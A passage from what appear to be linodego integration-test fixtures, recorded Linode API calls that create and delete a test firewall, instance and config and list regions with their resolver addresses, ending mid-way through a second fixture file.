Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_CreateUnderFirewall.yaml000066400000000000000000000612161455402072200340200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 260831, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-hys905uc105p","firewall_id":260831,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 51688451, "label": "go-test-ins-wo-disk-hys905uc105p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.209.173"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d3e3867bf4380f65c2c4ddef448b3a8c94c84887", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-7u65tc4mf62i","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/51688451/configs method: POST response: body: '{"id": 54673819, "label": "go-test-conf-7u65tc4mf62i", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/51688451 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/260831 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Disk_ListMultiple_Primary.yaml000066400000000000000000001103671455402072200351600ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 